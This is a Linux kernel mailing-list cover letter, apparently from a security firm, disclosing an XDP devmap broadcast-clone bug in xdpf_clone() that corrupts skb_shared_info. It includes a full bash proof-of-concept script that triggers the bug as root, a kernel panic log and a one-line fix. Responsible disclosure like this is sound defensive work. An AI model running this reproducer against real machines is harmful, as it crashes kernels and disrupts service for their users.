BPF List
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: ast@kernel.org, daniel@iogearbox.net, davem@davemloft.net,
	kuba@kernel.org, hawk@kernel.org, john.fastabend@gmail.com,
	sdf@fomichev.me, edumazet@google.com, pabeni@redhat.com,
	horms@kernel.org, liuhangbin@gmail.com, kafai@fb.com,
	toke@redhat.com, vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] xdp: reject clones that overrun skb_shared_info tailroom
Date: Mon,  3 Aug 2026 20:15:31 +0800	[thread overview]
Message-ID: <cover.1785757386.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated a issue in net/core/xdp.c. The bug was reproduced as
root in the initial namespace through XDP devmap broadcast cloning.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

xdpf_clone() clones broadcast copies into a single page and sets the cloned
frame size to PAGE_SIZE.

That is not sufficient for frames that can later reach
__xdp_build_skb_from_frame(). The skb build path expects
SKB_DATA_ALIGN(sizeof(struct skb_shared_info)) bytes of tailroom at the end of
the backing buffer, and it computes shared-info placement from frame_sz.

The current check only rejects clones when the copied xdp_frame header,
headroom, and packet data exceed PAGE_SIZE. A source frame backed by a larger
allocation can satisfy that check while still extending into the clone's
required shared-info area.

When such a clone is redirected to a device that rebuilds an skb from the
cloned frame, build_skb_around() places skb_shared_info over live packet bytes.
Subsequent packet writes can corrupt shared-info state and later crash in XDP
return and free handling.

The fix is to reject clones unless their linear area fits inside
SKB_WITH_OVERHEAD(PAGE_SIZE), which preserves the required skb_shared_info
tailroom for the clone.

Reproducer:

    chmod +x ./poc.sh
    ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/bash
set -euo pipefail

DIR=$(cd "$(dirname "$0")" && pwd)
XDP_OBJ=${XDP_OBJ:-"$DIR/xdp_redir.bpf.o"}
TC_OBJ=${TC_OBJ:-"$DIR/tc_clobber.bpf.o"}
LWT_OBJ=${LWT_OBJ:-"$DIR/lwt_headroom.bpf.o"}

SRC_TX=srcveth0
SRC_XDP=srcxdp0
DST0_XDP=dstxdp0
DST0_RX=dstrx0
DST1_XDP=dstxdp1
DST1_RX=dstrx1
FRAME_LEN=${FRAME_LEN:-3800}
UDP_PAYLOAD_LEN=${UDP_PAYLOAD_LEN:-3758}
SRC_MTU=${SRC_MTU:-5000}
DST_MTU=${DST_MTU:-5000}
KEEP=${KEEP:-0}
SRC_IP=${SRC_IP:-192.0.2.1}
DST_IP=${DST_IP:-198.51.100.1}

le32_hex() {
	local v=$1
	printf '%02x %02x %02x %02x' \
		$((v & 0xff)) \
		$(((v >> 8) & 0xff)) \
		$(((v >> 16) & 0xff)) \
		$(((v >> 24) & 0xff))
}

cleanup() {
	set +e
	ip link set dev "$SRC_XDP" xdp off 2>/dev/null || true
	ip route del "$DST_IP"/32 dev "$SRC_TX" 2>/dev/null || true
	tc qdisc del dev "$DST0_RX" clsact 2>/dev/null || true
	ip link del "$SRC_TX" 2>/dev/null || true
	ip link del "$SRC_XDP" 2>/dev/null || true
	ip link del "$DST0_XDP" 2>/dev/null || true
	ip link del "$DST1_XDP" 2>/dev/null || true
}
if [[ "$KEEP" != 1 ]]; then
	trap cleanup EXIT
fi

if [[ ! -f "$XDP_OBJ" || ! -f "$TC_OBJ" || ! -f "$LWT_OBJ" ]]; then
	echo "missing BPF object(s): $XDP_OBJ $TC_OBJ $LWT_OBJ" >&2
	exit 1
fi

cleanup

ip link add "$SRC_TX" type veth peer name "$SRC_XDP"
ip link add "$DST0_XDP" type veth peer name "$DST0_RX"
ip link add "$DST1_XDP" type veth peer name "$DST1_RX"

ip link set dev "$SRC_TX" mtu "$SRC_MTU"
ip link set dev "$SRC_XDP" mtu "$SRC_MTU"
ip link set dev "$DST0_XDP" mtu "$DST_MTU"
ip link set dev "$DST0_RX" mtu "$DST_MTU"
ip link set dev "$DST1_XDP" mtu "$DST_MTU"
ip link set dev "$DST1_RX" mtu "$DST_MTU"

for dev in "$SRC_TX" "$SRC_XDP" "$DST0_XDP" "$DST0_RX" "$DST1_XDP" "$DST1_RX"; do
	ip link set dev "$dev" up
done

ip addr add "$SRC_IP"/24 dev "$SRC_TX"

ethtool -K "$DST0_RX" gro on
ethtool -K "$DST1_RX" gro on

ip link set dev "$SRC_XDP" xdp obj "$XDP_OBJ" sec xdp.frags

prog_id=$(ip -d link show dev "$SRC_XDP" | awk '$1 == "prog/xdp" {for (i = 1; i <= NF; i++) if ($i == "id") { print $(i + 1); exit }}')
map_id=$(bpftool prog show id "$prog_id" | sed -n 's/.*map_ids //p' | awk '{print $1; exit}')
if [[ -z "$map_id" ]]; then
	echo "unable to find tx_ports devmap" >&2
	exit 1
fi

dst0_ifindex=$(cat "/sys/class/net/$DST0_XDP/ifindex")
dst1_ifindex=$(cat "/sys/class/net/$DST1_XDP/ifindex")
src_xdp_mac=$(cat "/sys/class/net/$SRC_XDP/address")

bpftool map update id "$map_id" key hex 00 00 00 00 value hex $(le32_hex "$dst0_ifindex")
bpftool map update id "$map_id" key hex 01 00 00 00 value hex $(le32_hex "$dst1_ifindex")

tc qdisc add dev "$DST0_RX" clsact
tc filter add dev "$DST0_RX" ingress bpf direct-action obj "$TC_OBJ" sec tc

ip neigh replace "$DST_IP" lladdr "$src_xdp_mac" nud permanent dev "$SRC_TX"
ip route replace "$DST_IP"/32 dev "$SRC_TX" encap bpf xmit obj "$LWT_OBJ" sec lwt_xmit headroom 256

python3 - "$SRC_IP" "$DST_IP" "$UDP_PAYLOAD_LEN" <<'PY'
import socket
import sys
import time

src_ip = sys.argv[1]
dst_ip = sys.argv[2]
payload_len = int(sys.argv[3])
payload = bytes((i & 0xff for i in range(payload_len)))

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((src_ip, 0))
for _ in range(32):
    s.sendto(payload, (dst_ip, 9))
    time.sleep(0.01)
PY

echo "frames sent; dumping post-run state"
tc -s filter show dev "$DST0_RX" ingress || true
bpftool map show | awk '$3 == "name" && $4 == "tc_stats" { gsub(":", "", $1); print $1 }' | while read -r id; do
	echo "tc_stats map $id"
	bpftool map dump id "$id" || true
done
ip -s link show dev "$SRC_XDP" || true
ip -s link show dev "$DST0_RX" || true
ip -s link show dev "$DST1_RX" || true
sleep 1

------END poc.sh--------

----BEGIN crash log----

[  422.057602][    C3] kernel BUG at arch/x86/mm/physaddr.c:28!
[  422.058263][    C3] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
[  422.058762][    C3] CPU: 3 UID: 0 PID: 11020 Comm: python3 Not tainted 6.12.95 #2
[  422.059279][    C3] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  422.060050][    C3] RIP: 0010:__phys_addr+0x7a/0xd0
[  422.060469][    C3] Code: 84 c9 75 28 0f b6 0d a6 09 16 0f 80 f9 3f 0f 87 24 bd 0b 09 48 89 c2 48 d3 ea 48 85 d2 75 0a 48 83 c4 08 5b e9 12 ce 37 09 90 <0f> 0b 48 c7 c7 81 7c 4e 90 48 89 04 24 e8 b4 25 a5 00 48 8b 04 24
[  422.061713][    C3] RSP: 0018:ffffc900002b8a18 EFLAGS: 00010287
[  422.062126][    C3] RAX: aab02aaaaaaaa000 RBX: aaafb32b2aaaa000 RCX: 0000000000000000
[  422.062657][    C3] RDX: 0000000000000000 RSI: 0000000000000001 RDI: aaafb32aaaaaa000
[  422.063179][    C3] RBP: aaafb32aaaaaa000 R08: 0000000000000000 R09: 0000000000000000
[  422.063689][    C3] R10: ffffffff904e92cf R11: ffff88810d88c300 R12: 0000000000000000
[  422.064199][    C3] R13: 0000000000000001 R14: 0000000000000000 R15: ffff88806285f010
[  422.064721][    C3] FS:  00007f3af0987780(0000) GS:ffff888118b80000(0000) knlGS:0000000000000000
[  422.065331][    C3] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  422.065767][    C3] CR2: 000000000050f466 CR3: 00000000210f4000 CR4: 0000000000750ef0
[  422.066347][    C3] PKRU: 55555554
[  422.066586][    C3] Call Trace:
[  422.066810][    C3]  <IRQ>
[  422.066998][    C3]  ? veth_xdp_xmit+0x40f/0xab0
[  422.067397][    C3]  __xdp_return+0x6d/0x8b0
[  422.067730][    C3]  xdp_return_frame_rx_napi+0x1c5/0x2a0
[  422.068094][    C3]  bq_xmit_all+0x35c/0x4f0
[  422.068429][    C3]  __dev_flush+0x80/0x1d0
[  422.068718][    C3]  veth_poll+0x707/0xa10
[  422.068996][    C3]  ? __pfx_veth_poll+0x10/0x10
[  422.069328][    C3]  ? __pfx_sched_clock_cpu+0x10/0x10
[  422.069709][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.070132][    C3]  __napi_poll.constprop.0+0xa1/0x440
[  422.070509][    C3]  net_rx_action+0x928/0xe20
[  422.070826][    C3]  ? __pfx_net_rx_action+0x10/0x10
[  422.071153][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.071565][    C3]  ? sched_ttwu_pending+0x2f3/0x600
[  422.071941][    C3]  ? __pfx_lock_release+0x10/0x10
[  422.072305][    C3]  handle_softirqs+0x2ae/0x8b0
[  422.072638][    C3]  ? __pfx_handle_softirqs+0x10/0x10
[  422.072986][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.073357][    C3]  ? irqtime_account_irq+0x24/0x2e0
[  422.073707][    C3]  ? __dev_queue_xmit+0x897/0x37e0
[  422.074041][    C3]  do_softirq+0xb2/0xf0
[  422.074331][    C3]  </IRQ>
[  422.074526][    C3]  <TASK>
[  422.074720][    C3]  __local_bh_enable_ip+0x101/0x120
[  422.075062][    C3]  ? __dev_queue_xmit+0x897/0x37e0
[  422.075409][    C3]  __dev_queue_xmit+0x8ac/0x37e0
[  422.075740][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.076136][    C3]  ? hlock_class+0x4e/0x130
[  422.076449][    C3]  ? __pfx___lock_acquire+0x10/0x10
[  422.076794][    C3]  ? __pfx___dev_queue_xmit+0x10/0x10
[  422.077145][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.077510][    C3]  ? find_held_lock+0x2d/0x110
[  422.077844][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.078211][    C3]  ? ip_finish_output2+0x6a2/0x1eb0
[  422.078575][    C3]  ? __pfx_lock_release+0x10/0x10
[  422.078911][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.079282][    C3]  ? trace_lock_acquire+0x145/0x1c0
[  422.079621][    C3]  ? ip_finish_output2+0x6a2/0x1eb0
[  422.079953][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.080322][    C3]  ? __asan_memcpy+0x3c/0x60
[  422.080666][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.081035][    C3]  ip_finish_output2+0x6a2/0x1eb0
[  422.081372][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.081734][    C3]  ? ip_skb_dst_mtu+0x49b/0x9c0
[  422.082048][    C3]  ? __pfx_ip_skb_dst_mtu+0x10/0x10
[  422.082393][    C3]  ? __pfx_ip_finish_output2+0x10/0x10
[  422.082747][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.083112][    C3]  ? __ip_finish_output+0x15d/0x570
[  422.083461][    C3]  ip_output+0x171/0x3b0
[  422.083745][    C3]  ip_send_skb+0x1a2/0x200
[  422.084037][    C3]  udp_send_skb+0x604/0x1980
[  422.084365][    C3]  udp_sendmsg+0x1582/0x2370
[  422.084664][    C3]  ? __pfx_aa_label_sk_perm+0x10/0x10
[  422.085054][    C3]  ? __pfx_ip_generic_getfrag+0x10/0x10
[  422.085450][    C3]  ? __pfx_udp_sendmsg+0x10/0x10
[  422.085781][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.086149][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.086511][    C3]  ? find_held_lock+0x2d/0x110
[  422.086833][    C3]  ? __pfx_lock_release+0x10/0x10
[  422.087184][    C3]  ? __sys_sendto+0x32e/0x3a0
[  422.087505][    C3]  __sys_sendto+0x32e/0x3a0
[  422.087798][    C3]  ? __pfx___sys_sendto+0x10/0x10
[  422.088127][    C3]  ? reacquire_held_locks+0x20b/0x4c0
[  422.088496][    C3]  ? do_user_addr_fault+0x854/0xe10
[  422.088847][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.089230][    C3]  __x64_sys_sendto+0xe0/0x1c0
[  422.089549][    C3]  ? do_syscall_64+0x93/0x270
[  422.089881][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  422.090248][    C3]  ? lockdep_hardirqs_on+0x7b/0x110
[  422.090601][    C3]  do_syscall_64+0xc7/0x270
[  422.090902][    C3]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  422.091303][    C3] RIP: 0033:0x7f3af0a1b687
[  422.091606][    C3] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[  422.092837][    C3] RSP: 002b:00007ffd1b57a720 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[  422.093377][    C3] RAX: ffffffffffffffda RBX: 00007f3af0987780 RCX: 00007f3af0a1b687
[  422.093873][    C3] RDX: 0000000000000eae RSI: 0000000004dd1c90 RDI: 0000000000000003
[  422.094389][    C3] RBP: 0000000000000000 R08: 00007ffd1b57a880 R09: 0000000000000010
[  422.094896][    C3] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[  422.095424][    C3] R13: 0000000000000000 R14: 000000000050f5e6 R15: 0000000000a83590
[  422.095938][    C3]  </TASK>
[  422.096173][    C3] Modules linked in:
[  422.096503][    C3] ---[ end trace 0000000000000000 ]---
[  422.096878][    C3] RIP: 0010:__phys_addr+0x7a/0xd0
[  422.097247][    C3] Code: 84 c9 75 28 0f b6 0d a6 09 16 0f 80 f9 3f 0f 87 24 bd 0b 09 48 89 c2 48 d3 ea 48 85 d2 75 0a 48 83 c4 08 5b e9 12 ce 37 09 90 <0f> 0b 48 c7 c7 81 7c 4e 90 48 89 04 24 e8 b4 25 a5 00 48 8b 04 24
[  422.098544][    C3] RSP: 0018:ffffc900002b8a18 EFLAGS: 00010287
[  422.099014][    C3] RAX: aab02aaaaaaaa000 RBX: aaafb32b2aaaa000 RCX: 0000000000000000
[  422.099725][    C3] RDX: 0000000000000000 RSI: 0000000000000001 RDI: aaafb32aaaaaa000
[  422.100400][    C3] RBP: aaafb32aaaaaa000 R08: 0000000000000000 R09: 0000000000000000
[  422.101080][    C3] R10: ffffffff904e92cf R11: ffff88810d88c300 R12: 0000000000000000
[  422.101610][    C3] R13: 0000000000000001 R14: 0000000000000000 R15: ffff88806285f010
[  422.102117][    C3] FS:  00007f3af0987780(0000) GS:ffff888118b80000(0000) knlGS:0000000000000000
[  422.102705][    C3] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  422.103149][    C3] CR2: 000000000050f466 CR3: 00000000210f4000 CR4: 0000000000750ef0
[  422.103680][    C3] PKRU: 55555554
[  422.103917][    C3] Kernel panic - not syncing: Fatal exception in interrupt
[  422.104762][    C3] Kernel Offset: disabled
[  422.105110][    C3] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  xdp: reject clones that overrun skb_shared_info tailroom

 net/core/xdp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0


             reply	other threads:[~2026-08-03 12:16 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-03 12:15 Zhiling Zou [this message]
2026-08-03 12:15 ` [PATCH net 1/1] xdp: reject clones that overrun skb_shared_info tailroom Zhiling Zou

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1785757386.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=ast@kernel.org \
    --cc=bpf@vger.kernel.org \
    --cc=daniel@iogearbox.net \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=hawk@kernel.org \
    --cc=horms@kernel.org \
    --cc=john.fastabend@gmail.com \
    --cc=kafai@fb.com \
    --cc=kuba@kernel.org \
    --cc=liuhangbin@gmail.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=sdf@fomichev.me \
    --cc=toke@redhat.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox